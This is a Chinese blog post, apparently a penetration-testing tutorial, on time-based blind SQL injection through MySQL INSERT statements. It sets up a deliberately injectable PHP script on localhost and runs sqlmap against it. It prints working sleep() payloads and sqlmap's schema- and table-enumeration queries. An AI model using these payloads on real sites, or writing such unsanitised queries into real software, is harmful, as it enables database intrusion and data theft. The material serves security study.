mysql insert延时注入


Mar 05 2015

mysql insert延时注入

首页 » 渗透测试 » mysql insert延时注入   

首先建个数据库和一张表:

create database blog;
 
create table admin(id int primary key auto_increment,email varchar(500));
写个insert.php方便sqlmap跑:
<?php
$conn=mysql_connect("localhost","root","yourpass");
mysql_select_db("admin",$conn);
if(isset($_GET["email"])){
     $email=$_GET['email'];
     mysql_query("insert into admin(email) values('$emal')");
}
?>
用seay的mysql监控来监控数据库执行的语句,这样比抓包要方便一些。
sqlmap -u http://127.0.0.1/insert.php?email=123@qq.com
测试出延时注入,payload是email=123@qq.com’ and sleep(5) and ‘ufwy’=’ufwy
那么对应的数据库执行语句就应该为:
 
 
insert into admin(email) values('123@qq.com' and sleep(5) and 'ufwy'='ufwy');
在mysql监控里查看下它是怎么跑–dbs的:

insert into admin(email)values('123@qq.com' AND 4830=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1)) > 51),SLEEP(5),4830) AND 'XDSc'='XDSc')
 
 
 
insert into admin(email)values('123@qq.com' AND 6499=IF((ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1)) > 64),SLEEP(2),6499) AND 'ngXr'='ngXr')
-D blog –tables
 
 
insert into admin(email)values('123@qq.com' AND 3039=IF((ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x626c6f67 LIMIT 1,1),7,1)) > 112),SLEEP(6),3039) AND 'sAEl'='sAEl')
-D blog -T admin –dump

果没有跑出来,延时注入的局限性太大了,当然也有insert报错注入的情况,只是不适合上面这种情况。
 
总之insert into延时注入的核心就是:
insert into blog(email) values('123@qq.com' and if(true,sleep(5),0);

来源 未知

如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: insert延时注入

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «limit后面的Mysql注入 | Discuz! X UC 批量破解工具(附送神器下载)»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~